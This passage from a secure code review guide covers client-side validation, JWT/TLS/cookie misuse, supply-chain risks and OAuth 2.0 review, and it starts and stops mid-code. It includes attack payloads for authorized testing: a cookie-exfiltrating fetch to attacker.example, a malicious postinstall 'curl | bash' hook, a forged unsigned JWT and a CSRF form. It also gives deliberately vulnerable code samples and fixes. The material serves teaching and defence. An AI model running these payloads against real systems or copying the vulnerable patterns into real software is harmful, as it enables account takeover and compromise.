    app.UseDeveloperExceptionPage();
else
    app.UseExceptionHandler("/Error");

app.UseHttpsRedirection();
app.UseAuthentication();
app.UseAuthorization();
```

```
builder.Services.AddAntiforgery(options =>
{
    options.Cookie.SecurePolicy = CookieSecurePolicy.Always;
    options.Cookie.HttpOnly = true;
});
```

Go

Run in release mode. Set secure session cookie options.

```
import (
    "net/http"
    "os"

    "github.com/gin-contrib/sessions"
    "github.com/gin-contrib/sessions/cookie"
    "github.com/gin-gonic/gin"
)

func main() {
    gin.SetMode(gin.ReleaseMode)
    r := gin.New()
    r.Use(gin.Recovery())

    store := cookie.NewStore([]byte(os.Getenv("SESSION_KEY")))
    store.Options(sessions.Options{
        HttpOnly: true,
        Secure:    true,
        SameSite: http.SameSiteLaxMode,
        MaxAge:    3600,
    })
    r.Use(sessions.Sessions("session", store))
    r.RunTLS(":443", "cert.pem", "key.pem")
}
```

Client-side validation {:#client-validation }

From former 4-12-review-client-side-validation.md. **Guiding chapter section:** [4.9 - Review Secrets, Defaults, and Dangerous APIs § Client-side validation](#).

4.12 Code Reference — Review Client-Side Validation

Attack Payloads

Use these in authorized tests to bypass client-only checks. Send requests directly to the server API with tools such as curl, Burp, or Postman—never rely on the browser form alone.

Pattern 1: Omit or tamper with hidden/trusted fields

```
{"card_number":"4111111111111111","amount":0.01,"tier":"enterprise","account_id":999}  
{"gift_code":"INTERNAL","balance":99999,"is_verified":true}
```

Pattern 2: Type and range violations

```
{"months":-12}  
{"gift_amount":999999999999}  
{"pin":"abc"}  
{"recipient_email":"not-an-email"}
```

Pattern 3: Bypass HTML5 constraints

```
POST /gift-cards/redeem HTTP/1.1  
Content-Type: application/json  
  
{"amount":0,"pin":""}
```

Remove required, pattern, min, and max attributes have no effect on raw HTTP.

Pattern 4: Oversized and malformed input

```
recipient_name=AAAA...(100000 chars)...AAAA  
message=<binary without client size check>  
{"note":"<script>alert(1)</script>"}
```

Pattern 5: Replay and step-skipping

```
POST /api/subscription/activate  
{"subscription_id":555,"status":"active","payment_captured":true}
```

Skip wizard steps the UI enforces in JavaScript only.

Pattern 6: Alternate API versions and content types

```
POST /api/v2/gift-cards/redeem
Content-Type: application/x-www-form-urlencoded

amount=1000&tier=enterprise&email=attacker@example.com
```

Mobile or legacy endpoints may lack validators present in the SPA.

Language-Specific Sinks and Dangerous APIs

Client-side validation improves UX but is not a security control. Review both the browser-side APIs below and confirm each field has a matching server-side check.

HTML (form attributes)

```
<input type="number" min="1" max="10" required>
<input pattern="[A-Za-z]+" name="username">
<form novalidate> <!-- browser checks disabled – server must still validate -->
<select required name="role">...</select>
```

JavaScript (browser validation)

```
if (!form.checkValidity()) return;
if (quantity < 1 || quantity > 10) showError();
const schema = z.object({ email: z.string().email() });
schema.parse(formData); // client-only – not enforced server-side
```

JavaScript (React / Vue)

```
// React – client rules only
const errors = validate(values);
if (errors.quantity) return;

// Vue – Vuelidate / vee-validate without API mirror
rules: { amount: { minValue: minValue(0) } }
```

Python (missing server validation)

```
@app.route("/gift-cards/redeem", methods=["POST"])
def redeem_gift_card():
    data = request.get_json() # no pydantic/marshmallow
    balance = data["amount"] + data.get("bonus", 0)
```

Java (Bean Validation gap)

```
// DTO without @Valid on controller parameter
public Order create(@RequestBody OrderRequest req) { ... }

// Client sends @NotNull fields as null via raw JSON
@NotBlank String email; // never enforced if @Valid missing
```

C# (DataAnnotations gap)

```
public IActionResult Save([FromBody] ProfileModel model)
{
    // Missing ModelState.IsValid check
    _repo.Save(model);
}
```

Go (missing validator tags)

```
type Checkout struct {
    Quantity int `json:"quantity" // no validate:"gte=1"
}
json.NewDecoder(r.Body).Decode(&req) // no validator.Struct(req)
```

SQL (trust from prior tier)

```
-- Batch job trusts JSON column written by API with client-only validation
INSERT INTO orders SELECT * FROM json_populate_record(NULL::orders, client_json);
```

Vulnerable Examples in Other Languages

Java

```
@PostMapping("/gift-cards/redeem")
public ResponseEntity<?> redeem(@RequestBody RedeemRequest req) {
    // Front-end enforces amount > 0 and PIN format; server skips validation
    giftCardService.redeem(req.getPin(), req.getAmount(), req.getBonus());
    return ResponseEntity.ok().build();
}

@PostMapping("/subscriptions/upgrade")
public String upgrade(@RequestParam String tier, @RequestParam int months) {
    subscriptionService.upgrade(currentUser(), tier, months); // no server-side tier policy
    return "redirect:/account";
}
```

C

```
[HttpPost("gift-cards/redeem")]
public IActionResult RedeemGiftCard(RedeemDto dto)
{
    // Blazor form validates PIN format; API endpoint accepts raw dto
    _service.Redeem(UserId, dto);
    return Ok();
}

public class RedeemDto
{
    public string Pin { get; set; }
    public decimal Amount { get; set; } // no [Range], [Required], or length limits
}
```

JavaScript

```
function validateRedeem() {
    const amount = Number(document.querySelector('[name="amount"]').value);
    if (amount < 5 || amount > 500) return false;
    return true; // bypass with curl; server must re-validate
}

document.getElementById("redeem").addEventListener("submit", (e) => {
    if (!validateRedeem()) e.preventDefault();
    // hidden bonus/tier fields sent without server-side recomputation
});
```

HTML

```
<form action="/gift-cards/redeem" method="post">
  <input type="number" name="amount" min="5" max="500" required>
  <input type="hidden" name="bonus" value="0">
  <input type="hidden" name="tier" value="standard">
  <!-- min/max/required are browser hints only; not enforced on server -->
</form>
```

Fix: Safer Patterns and Libraries to Use

Python

Validate at the API boundary with Pydantic. Recompute trusted fields server-side.

```
from pydantic import BaseModel, Field, EmailStr, ConfigDict

class GiftCardRedeemRequest(BaseModel):
    model_config = ConfigDict(extra="forbid")
    amount: float = Field(ge=5, le=500)
    pin: str = Field(min_length=8, max_length=16)

@app.route("/gift-cards/redeem", methods=["POST"])
def redeem_gift_card():
    req = GiftCardRedeemRequest.model_validate(request.get_json())
    credit = gift_cards.redeem(req.pin, req.amount) # server-computed, not from client bonus
    field
    redemption = GiftRedemption(user_id=session["user_id"], credit=credit)
    db.session.add(redemption)
    db.session.commit()
    return jsonify({"credit": credit})
```

Important: Client-side validation is UX only. Every security-relevant rule must exist on the server.

```
# Marshmallow alternative:
from marshmallow import Schema, fields, validate

class RedeemSchema(Schema):
    amount = fields.Decimal(required=True, validate=validate.Range(min=5, max=500))
    pin = fields.Str(required=True, validate=validate.Length(min=8, max=16))
```

Java

Apply Jakarta Bean Validation on request DTOs. Reject invalid input before the service layer.


```

public record GiftCardRedeemRequest(
    @NotBlank @Pattern(regexp = "[A-Z0-9]{8,16}$") String pin,
    @NotNull @DecimalMin("5.00") @DecimalMax("500.00") BigDecimal amount
) {}

@PostMapping("/gift-cards/redeem")
public ResponseEntity<?> redeem(@Valid @RequestBody GiftCardRedeemRequest req) {
    giftCardService.redeem(req.pin(), req.amount());
    return ResponseEntity.ok().build();
}

```

Important: Use `@Valid` on every mutating controller parameter. Recompute price, role, and owner from server context.

C

Use `DataAnnotations` or `FluentValidation`. Check `ModelState` on every mutating action.

```

public class RedeemDto
{
    [Required, RegularExpression("[A-Z0-9]{8,16}$")]
    public string Pin { get; set; } = "";

    [Required, Range(5, 500)]
    public decimal Amount { get; set; }
}

[HttpPost("gift-cards/redeem")]
public IActionResult RedeemGiftCard([FromBody] RedeemDto dto)
{
    if (!ModelState.IsValid)
        return BadRequest(ModelState);
    _service.Redeem(UserId, dto);
    return Ok();
}

```

Important: Never trust disabled UI fields. Authorization-sensitive properties come from server claims, not the request body.

Go

Validate struct tags after JSON decode. Reject unknown fields.

```
import "github.com/go-playground/validator/v10"

type RedeemGiftCardRequest struct {
    Amount float64 `json:"amount" validate:"required,gte=5,lte=500"`
    Pin     string  `json:"pin" validate:"required,min=8,max=16"`
}

func redeemGiftCard(w http.ResponseWriter, r *http.Request) {
    var req RedeemGiftCardRequest
    dec := json.NewDecoder(r.Body)
    dec.DisallowUnknownFields()
    if err := dec.Decode(&req); err != nil {
        http.Error(w, "invalid json", http.StatusBadRequest)
        return
    }
    if err := validate.Struct(req); err != nil {
        http.Error(w, "validation failed", http.StatusBadRequest)
        return
    }
    credit := giftcards.Redeem(req.Pin, req.Amount)
    db.Exec("INSERT INTO redemptions (user_id, credit) VALUES ($1,$2)", userID(r), credit)
}
```

Important: Shared validation middleware beats ad hoc checks scattered across handlers.

Insecure coding practice {: #insecure-practice }

From former 4-42-review-insecure-coding-practice.md. **Guiding chapter section:** [4.9 - Review Secrets, Defaults, and Dangerous APIs § Insecure coding practice](#).

4.42 Code Reference — Review Insecure Coding Practice

Attack Payloads

Use these in authorized tests against TLS clients, JWT validators, and cookie-based sessions.

Pattern 1: Forged JWT (no signature verification)

```
{"alg":"none"}
{"sub":"admin","role":"superuser","exp":9999999999}
```

```
# Base64url header.payload. (trailing dot, empty signature)
eyJhbGciOiJIub250In0.eyJzdWIiOiJhZG1pbjJ9.
```

Pattern 2: HS256 with weak / public secret

```
# Attacker brute-forces "changeme" or reads secret from git
# Re-signs token with elevated claims
{"sub":"victim","role":"admin"}
```

Pattern 3: Algorithm confusion (RS256 → HS256)

```
# Use RS256 public key as HMAC secret when server accepts both
{"alg":"HS256","typ":"JWT"}
```

See [4.17 Review JWT Security](#) for full algorithm-confusion patterns.

Pattern 4: MITM with verification disabled

```
# Attacker on network path presents self-signed cert
# Client with verify=False accepts and reads/modifies OAuth tokens, API keys
```

Pattern 5: Session cookie theft via missing flags

```
// XSS payload when HttpOnly is false:
document.cookie
fetch('https://attacker.example/?c=' + document.cookie)
```

Pattern 6: Cross-site cookie send (missing SameSite)

```
<!-- Victim visits attacker page; browser sends session cookie on cross-site POST -->
<form action="https://app.example/transfer" method="POST">
  <input name="amount" value="10000">
</form>
<script>document.forms[0].submit()</script>
```

Language-Specific Sinks and Dangerous APIs

Python

```
requests.get(url, verify=False)
httpx.Client(verify=False)
from jose import jwt as jose_jwt
jose_jwt.get_unverified_claims(token) # used for auth without signature check
response.set_cookie("auth_token", sid, httponly=False, secure=False)
urllib3.disable_warnings() # often paired with verify=False
```

Also review: aiohttp connector with `ssl=False`, paramiko `AutoAddPolicy`, smtp without TLS.

Java

```
conn.setSSLSocketFactory(trustAllFactory);
conn.setHostnameVerifier((h, s) -> true);
HttpClients.custom().setSSLContext(trustAll).build();
Jwts.parser().setSigningKey("secret").parseClaimsJws(jwt); // no iss/aud
new JwtParserBuilder().setAllowedClockSkewSeconds(Integer.MAX_VALUE);
Cookie c = new Cookie("JSESSIONID", id); // no HttpOnly/Secure
```

Spring: `spring.security.oauth2.resourceserver.jwt` misconfiguration; custom filters that only base64-decode JWT payload.

C

```
handler.ServerCertificateCustomValidationCallback = (_, _, _, _) => true;
ServicePointManager.ServerCertificateValidationCallback += (_, _, _, _) => true;
new JwtSecurityTokenHandler().ReadJwtToken(jwt); // no validation
TokenValidationParameters { ValidateIssuer = false, ValidateAudience = false };
Response.Cookies.Append("Session", id, new CookieOptions { HttpOnly = false });
```

JavaScript

```
process.env.NODE_TLS_REJECT_UNAUTHORIZED = '0';
axios.get(url, { httpsAgent: new https.Agent({ rejectUnauthorized: false }) });
jwt.decode(token); // jsonwebtoken – no verify
res.cookie('session', sid); // express – default flags
fetch(url, { agent: new https.Agent({ rejectUnauthorized: false }) });
```

Go

```
tls.Config{InsecureSkipVerify: true}
jwt.ParseUnverified(tokenString, jwt.MapClaims{})
http.SetCookie(w, &http.Cookie{Name: "session", Value: sid}) // no HttpOnly
grpc.WithTransportCredentials(insecure.NewCredentials())
```

Vulnerable Examples in Other Languages

Java

```
// OkHttp client with permissive hostname verifier on user-supplied URL
OkHttpClient client = new OkHttpClient.Builder()
    .hostnameVerifier((hostname, session) -> true)
    .build();
Request req = new Request.Builder().url(userSuppliedUrl)
    .header("Authorization", "Bearer hardcoded-partner-token")
    .build();

// JWT: parser accepts HS256 with static secret only – no aud/iss
Claims claims = Jwts.parserBuilder()
    .setSigningKey("changeme".getBytes(StandardCharsets.UTF_8))
    .build()
    .parseClaimsJws(jwt).getBody();

// Servlet cookie without HttpOnly, Secure, or SameSite
Cookie c = new Cookie("JSESSIONID", session.getId());
response.addCookie(c);
```

C

```
// HttpClient handler that accepts any server certificate
var handler = new HttpClientHandler {
    ServerCertificateCustomValidationCallback = (_, _, _, _) => true
};
var client = new HttpClient(handler);
var data = await client.GetStringAsync(userUrl);

// JWT without full validation
var token = new JwtSecurityTokenHandler().ReadJwtToken(jwt);
var role = token.Claims.First(c => c.Type == "role").Value;

// Cookie missing flags
Response.Cookies.Append("Session", sessionId, new CookieOptions {
    HttpOnly = false,
    Secure = false
});
```

Go

```
// Insecure TLS skip (testing helper left in prod)
tr := &http.Transport{
    TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
}
resp, _ := http.Client{Transport: tr}.Get(partnerURL)

// JWT parsed without verifying signature
token, _, _ := new(jwt.Parser).ParseUnverified(tokenString, jwt.MapClaims{})
admin, _ := token.Claims.(jwt.MapClaims)["admin"].(bool)

// Cookie without HttpOnly / Secure / SameSite
http.SetCookie(w, &http.Cookie{Name: "session", Value: sid, Path: "/"})
```

Fix: Safer Patterns and Libraries to Use

Python

TLS: always verify server certificates. Use default verification in httpx or requests; pin corporate roots via `verify=path` or system trust store—not `verify=False`.

```
import httpx

async def fetch_export(base_url: str, ca_bundle: str | None = None) -> bytes:
    verify: str | bool = ca_bundle if ca_bundle else True
    async with httpx.AsyncClient(verify=verify, timeout=10.0) as client:
        resp = await client.get(f"{base_url.rstrip('/')}/v1/export")
        resp.raise_for_status()
    return resp.content
```

Important: Never set `verify=False` except in isolated tests. If tests need it, gate with an explicit non-production flag that fails closed in CI for release artifacts.

JWT: verify signature, algorithm, and claims.

```
import jwt

def current_user(token: str) -> dict:
    return jwt.decode(
        token,
        key=get_signing_key(), # from env / JWKS – not a hardcoded demo secret
        algorithms=["RS256"], # explicit allowlist – never accept "none"
        audience="my-api",
        issuer="https://idp.example/",
        options={"require": ["exp", "sub"]},
    )
```

Cookies: set HttpOnly, Secure, and SameSite.

```
response.set_cookie(  
    "sid",  
    session_id,  
    httponly=True,  
    secure=True,  
    samesite="lax",  
    max_age=900,  
)
```

Java

```
// Use default SSL socket factory – do not install trust-all managers  
HttpsURLConnection conn = (HttpsURLConnection) new URL(allowlistedUrl).openConnection();  
  
// JWT with explicit key and algorithm (jjwt example)  
Jwts.parserBuilder()  
    .setSigningKeyResolver(jwkResolver)  
    .requireIssuer("https://idp.example/")  
    .requireAudience("my-api")  
    .build()  
    .parseClaimsJws(jwt);  
  
Cookie cookie = new Cookie("JSESSIONID", session.getId());  
cookie.setHttpOnly(true);  
cookie.setSecure(true);  
cookie.setAttribute("SameSite", "Lax");  
response.addCookie(cookie);
```

Important: setSigningKey("secretkey") without rotation, issuer, or audience checks is insufficient for production APIs.

C

```
// Default HttpClient validates server certificates
using var client = new HttpClient();
var data = await client.GetStringAsync(allowlistedUrl);

var parameters = new TokenValidationParameters {
    ValidateIssuerSigningKey = true,
    IssuerSigningKey = signingKey,
    ValidIssuer = "https://idp.example/",
    ValidAudience = "my-api",
    ValidateLifetime = true,
};
var principal = new JwtSecurityTokenHandler()
    .ValidateToken(jwt, parameters, out _);

Response.Cookies.Append("Session", sessionId, new CookieOptions {
    HttpOnly = true,
    Secure = true,
    SameSite = SameSiteMode.Lax,
    MaxAge = TimeSpan.FromMinutes(15),
});
```

Go

```
// Default client verifies TLS; use custom RootCAs for enterprise CAs only
client := &http.Client{Timeout: 10 * time.Second}
resp, err := client.Get(allowlistedURL)

token, err := jwt.Parse(tokenString, func(t *jwt.Token) (interface{}, error) {
    if t.Method.Alg() != "RS256" {
        return nil, fmt.Errorf("unexpected alg")
    }
    return publicKey, nil
}, jwt.WithAudience("my-api"), jwt.WithIssuer("https://idp.example/"))

http.SetCookie(w, &http.Cookie{
    Name:     "session",
    Value:    sid,
    Path:     "/",
    HttpOnly: true,
    Secure:   true,
    SameSite: http.SameSiteLaxMode,
    MaxAge:   900,
})
```


4.10 Code Reference — Review Software Supply Chain

Software supply chain {:#supply-chain }

From former 4-41-review-software-supply-chain.md. **Guiding chapter section:** [4.10 - Review Software Supply Chain § Software supply chain](#).

4.41 Code Reference — Review Software Supply Chain

Attack Payloads

Use these patterns in authorized dependency review, SBOM diffing, and CI policy tests—not to install unverified packages on production systems.

Pattern 1: Typosquatting package names

```
requests          # requests
python-dateutil   # python-dateutil vs python-datelutil
@types/node        # scoped typosquats in npm
django-admin       # unrelated to django
```

Compare package names character-by-character against canonical registry entries.

Pattern 2: Dependency confusion (internal name squatting)

```
# Public registry publishes same name as internal private package
pip install company-utils # resolves to public typosquat if index misconfigured
npm install @company/auth-lib # public scope squatted
```

Pattern 3: Malicious install scripts

```
{
  "scripts": {
    "postinstall": "curl https://attacker.example/s.sh | bash"
  }
}
```

Review postinstall, preinstall, and prepare in package.json and equivalent hooks in other ecosystems.

Pattern 4: Unpinned transitive upgrade

```
# requirements.txt: django>=3.0
# Lockfile not committed – CI pulls latest transitive deps each build
# New sub-dependency version introduces CVE or compromised maintainer
```

Pattern 5: Known vulnerable version left in place

```
log4j-core:2.14.1
node-forge:0.10.0
urllib3:1.26.5 # check against OSV/GitHub Advisory
spring-beans:5.3.18
```

Language-Specific Sinks and Dangerous APIs

Python

```
# requirements.txt – no hashes, floating versions
requests>=2.0
django>=3.0
```

```
subprocess.run(["pip", "install", "-r", "requirements.txt"])
pip.main(["install", user_supplied_package])
import pkg_resources; pkg_resources.require(user_input)
```

Also review: `pip.conf` index URL, Poetry without lockfile commit, `setup.py install` from git URLs.

Java

```
<dependency>
  <version>LATEST</version>
  <version>[1.0,)</version> <!-- open range -->
</dependency>
```

```
URLClassLoader.newInstance(urls); // loads JAR from user path
ScriptEngine with classpath from untrusted plugin dir
```

Gradle: dynamic versions `1.+`, `latest.release`; missing `dependency-lock`.

C

```
<PackageReference Include="Newtonsoft.Json" Version="*" />
<PackageReference Include="Evil.Package" Version="1.0.0" /> <!-- unreviewed -->
```

```
Assembly.LoadFrom(userSuppliedPath);
dotnet add package from unverified feed
```

JavaScript

```
"dependencies": {
  "lodash": "latest",
  "some-package": "git+https://attacker.example/pkg.git"
}
```

```
require(userControlledModule);
child_process.exec('npm install ' + packageName);
```

Go

```
// go.mod without go.sum committed
require github.com/example/legacy v0.0.0-20180101000000-deadbeef
go get -u ./... // unpinned upgrade in CI
plugin.Open(userPath)
```

Shell / Docker

```
curl -sSL https://install.example.com/setup.sh | bash
pip install -r requirements.txt # no hash check
npm install --ignore-scripts=false
FROM python:3.8-slim # no digest pin
RUN pip install package-from-git
```

Vulnerable Examples in Other Languages

Java

```
<!-- pom.xml: vulnerable Log4j range without upper bound -->
<dependency>
  <groupId>org.apache.logging.log4j</groupId>
  <artifactId>log4j-core</artifactId>
  <version>2.14.0</version>
</dependency>
```

```
# application.properties – floating version pulls latest on each CI run
spring.security.oauth2.client.version=5.7.+
```

C

```
<!-- PackageReference with floating version -->
<PackageReference Include="Newtonsoft.Json" Version="*" />

<!-- No lock file; RestorePackagesWithLockFile not enabled -->
```

Shell

```
#!/bin/bash
# CI bootstrap: unpinned install scripts, no hash verification
curl -sSL https://install.example.com/setup.sh | bash

pip install -r requirements.txt # no hashes; django>=3.0 floats on each run
npm install some-random-package@latest

# Dockerfile excerpt – digest not pinned
docker pull python:3.8-slim
```

Go

```
// go.mod: retracted or vulnerable module without replace/upgrade
require github.com/example/legacy-crypto v0.0.0-20180101000000-deadbeef

// Indirect dependency left unpatched after parent upgrade
require github.com/gin-gonic/gin v1.9.0 // pulls vulnerable transitive via old lock
```

Fix: Safer Patterns and Libraries to Use

Python

Pin dependencies with lockfiles and hash verification. Scan in CI.

```
# requirements.lock (generated by pip-tools) – excerpt
pyyaml==6.0.1 \
    --hash=sha256:abcdef...
requests==2.31.0 \
    --hash=sha256:123456...
django==4.2.11 \
    --hash=sha256:789abc...
```

```
# .github/workflows/deps.yml excerpt
- name: Audit Python dependencies
  run: |
    pip install pip-audit
    pip-audit -r requirements.lock
```

Use [pip-tools](#) or [Poetry](#) lockfiles. Run [pip-audit](#) in pull requests.

Java

Pin versions, ban snapshots in production, and generate SBOMs at package time.

```
<plugin>
  <groupId>org.cyclonedx</groupId>
  <artifactId>cyclonedx-maven-plugin</artifactId>
  <executions>
    <execution>
      <phase>package</phase>
      <goals><goal>makeAggregateBom</goal></goals>
    </execution>
  </executions>
</plugin>
```

Run [OWASP Dependency-Check](#) or GitHub Dependabot on every build. Use Maven Enforcer to ban snapshot dependencies in release profiles.

C

Use Central Package Management and lock files. Fail CI on critical CVEs.

```
<PropertyGroup>
  <RestorePackagesWithLockFile>true</RestorePackagesWithLockFile>
</PropertyGroup>
```

```
- run: dotnet list package --vulnerable --include-transitive
```

Generate SBOMs with [CycloneDX .NET](#) or [Microsoft SBOM Tool](#).

Go

Commit `go.sum` and verify in CI. Scan with `govulncheck`.

```
- run: go mod verify
- run: govulncheck ./...
```

Pin base images by digest in Dockerfiles.

```
FROM golang:1.22-bookworm@sha256:abc123...
```

See [go mod verify](#) and [govulncheck](#).

5.1 Reference — Review Identity and Federation

This appendix supports the guiding chapter [5.1 - Review Identity and Federation](#). Each section below preserves the dense material from a former topic chapter.

Back to chapter: [5.1 - Review Identity and Federation](#)

OAuth 2.0 { #oauth }

From former 10-01-review-oauth-implementation.md. **Guiding chapter section:** [5.1 - Review Identity and Federation § OAuth 2.0](#).

5.1 - Review OAuth 2.0 Implementation

OAuth 2.0 connects your application to an identity provider or API without sharing user passwords. Review the authorization request, callback handler, token exchange, and storage paths. Confirm the flow uses authorization code with PKCE, binds redirect URIs, validates state, authenticates the client at the token endpoint, and stores tokens safely.

What This Topic Is

This chapter is about **implementation review**, not generic vulnerability hunting. You are checking whether the OAuth flow matches [RFC 6749](#) and current best practice for the client type (public vs confidential).

The unsafe assumption is that receiving a code or token from a redirect means the user authenticated successfully. Attackers can forge callbacks, steal codes via open redirects, or intercept tokens when PKCE, state, and redirect binding are missing.

This maps to broken authentication and session management patterns in [OWASP ASVS](#) and relates to [CWE-287](#) (Improper Authentication).

Vulnerability Characteristics (Where to Identify Them)

Signal	Where to look
Feature type	Social login, "Sign in with ...", API integrations, mobile deep links, SPA auth
Flow choice	Implicit or password grant in browser apps; auth code without PKCE for public clients
Redirect URI	String prefix match, wildcard hosts, user-controlled redirect params, missing exact registration
State / CSRF	Missing state, static state, state not validated on callback, state stored only client-side without binding
Token endpoint	Missing client_secret or mTLS for confidential clients; PKCE verifier not checked server-side
Token storage	Access or refresh tokens in localStorage, query strings, logs, or non-HttpOnly cookies
Library config	Custom OAuth glue, disabled TLS verify on token requests, hardcoded client secrets in frontend bundles

Abuse Scenarios

Use these scenarios in authorized security tests and design reviews. Each assumes an attacker can influence redirects, callbacks, or client storage.

Scenario 1: Authorization code interception (no PKCE)

A public SPA uses authorization code flow without PKCE. An attacker who learns the redirect URI registers a look-alike app or exploits an open redirect on the legitimate redirect URI. When the victim completes login, the attacker captures the code from the redirect and exchanges it at the token endpoint before the legitimate client does.

Scenario 2: CSRF on OAuth callback (missing state)

The client omits state on the authorize request. An attacker starts their own OAuth login, then tricks the victim into visiting the victim app's callback URL with the attacker's code. The victim's session becomes bound to the attacker's IdP account—account linking or session fixation.

Scenario 3: Redirect URI manipulation

The token exchange accepts redirect_uri from the query string or allows prefix matching (https://app.example.com matches https://app.example.com.evil.com). The attacker exchanges a stolen code using a registered or accepted alternate URI.

Scenario 4: Token leakage via browser storage

Access or refresh tokens land in `localStorage`, URL fragments (implicit-style), or non-`HttpOnly` cookies. XSS or physical access to the device yields long-lived API access independent of password strength.

Scenario 5: Client secret in frontend bundle

A "confidential" client secret is embedded in a mobile app or SPA JavaScript. Attackers extract it and call the token endpoint as the client, combining with stolen refresh tokens or password grant if enabled.

Scenario 6: TLS verification disabled on token calls

The backend disables certificate verification when calling the IdP token endpoint (`verify=False`). A network attacker MITM's the token exchange and captures refresh tokens or injects malicious token responses.

Language-Specific Libraries and Dangerous Patterns

Search for OAuth client code and verify library defaults enforce PKCE, state, and TLS.

Python

```
# Dangerous patterns
requests.post(token_url, data=..., verify=False)
session["access_token"] = tokens["access_token"] # no rotation policy
redirect_uri = request.args.get("redirect_uri") # attacker-controlled

# Safer: Authlib Flask client
from authlib.integrations.flask_client import OAuth
oauth = OAuth(app)
oauth.register(
    name="idp",
    client_id=os.environ["OAUTH_CLIENT_ID"],
    client_secret=os.environ["OAUTH_CLIENT_SECRET"],
    server_metadata_url="https://idp.example.com/.well-known/openid-configuration",
)
return oauth.idp.authorize_redirect(redirect_uri=FIXED_REDIRECT, state=state,
code_challenge=challenge)
```

Also review: authlib token exchange, requests-oauthlib `OAuth2Session` without PKCE, httpx-oauth with `verify=False` on token URL.

Ruby

```
# Dangerous: omniauth without state/PKCE; token in session
OmniAuth.config.allowed_request_methods = [:post, :get]

# Safer: omniauth-oauth2 with PKCE and fixed redirect
provider :oidc,
  scope: [:openid, :profile],
  pkce: true,
  redirect_uri: "https://app.example.com/auth/callback"
```

Java

```
// Dangerous: Spring RestTemplate token exchange without PKCE; state ignored
restTemplate.postForObject(tokenUrl, body, OAuth2AccessToken.class);

// Safer: Spring Security OAuth2 Client
http.oauth2Login(oauth -> oauth
  .authorizationEndpoint(a -> a.authorizationRequestResolver(pkceResolver)));
// application.yml: authorization-grant-type=authorization_code, issuer-uri=...
```

Also review: `spring-security-oauth2-client`, `legacy spring-security-oauth2` (deprecated), `custom OAuth2AuthorizedClientProvider`.

C

```
// Dangerous: manual token POST with user-supplied redirect
await httpClient.PostAsync(tokenEndpoint, new FormUrlEncodedContent(new Dictionary<string,
string> {
  ["redirect_uri"] = Request.Query["returnUrl"],
}));

// Safer: Microsoft.Identity.Web / AddOpenIdConnect
services.AddOpenIdConnect(options => {
  options.UsePkce = true;
  options.ResponseType = OpenIdConnectResponseType.Code;
  options.CallbackPath = "/signin-oidc";
});
```

Also review: `Microsoft.Identity.Client` (MSAL) for confidential vs public client patterns, `IdentityModel.OidcClient`.

JavaScript

```
// Dangerous: implicit flow, localStorage tokens
window.location = `${AUTH}/authorize?response_type=token&client_id=${ID}`;
localStorage.setItem('access_token', hash.get('access_token'));

// Safer: oauth4webapi / openid-client on backend BFF only
// Browser never holds refresh token; backend uses authorization code + PKCE
```

Also review: passport-oauth2, @auth0/nextjs-auth0 config, Electron apps embedding client secrets.

Go

```
// Dangerous: no state; redirect from Host header
redirectURI := "https://" + r.Host + "/callback"

// Safer: golang.org/x/oauth2 with PKCE
verifier := oauth2.GenerateVerifier()
url := config.AuthCodeURL(state, oauth2.S256ChallengeOption(verifier))
token, err := config.Exchange(ctx, code, oauth2.VerifierOption(verifier))
```

See [Authlib documentation](#), [Spring Security OAuth2 Client](#), [Microsoft Identity Web](#), and [golang.org/x/oauth2](#).

Sample Vulnerable Code in Python

```
from flask import Flask, request, redirect, session
import requests

app = Flask(__name__)
CLIENT_ID = "app-client"
REDIRECT_URI = "https://app.example.com/oauth/callback"

@app.route("/login")
def login():
    # No state, no PKCE – callback cannot be bound to this session
    auth_url = (
        "https://idp.example.com/oauth/authorize"
        f"?response_type=code&client_id={CLIENT_ID}&redirect_uri={REDIRECT_URI}"
    )
    return redirect(auth_url)

@app.route("/oauth/callback")
def oauth_callback():
    code = request.args.get("code")
    # Redirect URI taken from query – attacker can register alternate callback
    redirect_uri = request.args.get("redirect_uri", REDIRECT_URI)
    resp = requests.post(
        "https://idp.example.com/oauth/token",
        data={
            "grant_type": "authorization_code",
            "code": code,
            "client_id": CLIENT_ID,
            "redirect_uri": redirect_uri,
        },
    )
    tokens = resp.json()
    # Tokens stored in server session without rotation or binding policy
    session["access_token"] = tokens["access_token"]
    session["refresh_token"] = tokens.get("refresh_token")
    return redirect("/dashboard")
```

Step-by-Step Review Walkthrough

1. **Identify client type.** Public clients (SPA, mobile) must use authorization code with PKCE. Confidential servers may use client secret or mTLS at the token endpoint. Flag implicit or resource-owner password grants in user-facing apps.
2. **Trace the authorization request.** Confirm `response_type=code`, cryptographically random state, and for public clients a `code_challenge` derived from a verifier stored server-side or in secure session storage.
3. **Review redirect URI handling.** Registration must use exact match (scheme, host, port, path). Reject prefix-only checks and any callback that reads redirect URI from attacker-controlled input.

4. **Inspect the callback handler.** Validate state against the value issued at login start. Reject missing or mismatched state before token exchange. Log and fail closed on error responses from the IdP.
5. **Review token exchange.** Confidential clients must authenticate (`client_secret`, `private_key_jwt`, or mTLS). Authorization servers must verify PKCE `code_verifier` against the stored challenge for public clients.
6. **Follow token storage and use.** Access tokens belong in memory or HttpOnly cookies for browser apps. Refresh tokens need secure storage, rotation, and revocation on logout. Search logs and analytics for token leakage.
7. **Check logout and error paths.** Confirm tokens are cleared on logout and that OAuth errors do not skip validation steps or expose tokens in URLs.

Risk Impact Analysis

Account takeover. Stolen authorization codes or refresh tokens let attackers obtain access tokens and act as the victim within granted scopes.

Cross-site request forgery on login. Missing or weak state allows an attacker to bind their IdP session to the victim's application account.

Redirect manipulation. Loose redirect URI validation enables code interception via open redirectors or look-alike registered URIs.

Long-lived compromise. Refresh tokens in `localStorage` or without rotation remain usable after XSS or device loss.

Compliance and audit gaps. Regulated apps must show OAuth flows align with provider guidance and industry baselines such as [OAuth 2.0 Security Best Current Practice](#).

Vulnerable Examples in Other Languages

Java

```
@GetMapping("/oauth/callback")
public String callback(@RequestParam String code, @RequestParam(required = false) String state) {
    // state ignored – CSRF on account linking
    MultiValueMap<String, String> body = new LinkedMultiValueMap<>();
    body.add("grant_type", "authorization_code");
    body.add("code", code);
    body.add("redirect_uri", "https://app.example.com/callback");
    // Public SPA using confidential-client pattern without PKCE
    OAuth2AccessToken token = restTemplate.postForObject(tokenUrl, body,
    OAuth2AccessToken.class);
    session.setAttribute("access_token", token.getValue());
    return "redirect:/home";
}
```

C

```
[HttpGet("signin-oauth")]
public async Task<IActionResult> Callback(string code)
{
    var token = await httpClient.PostAsync(tokenEndpoint, new FormUrlEncodedContent(new
    Dictionary<string, string>
    {
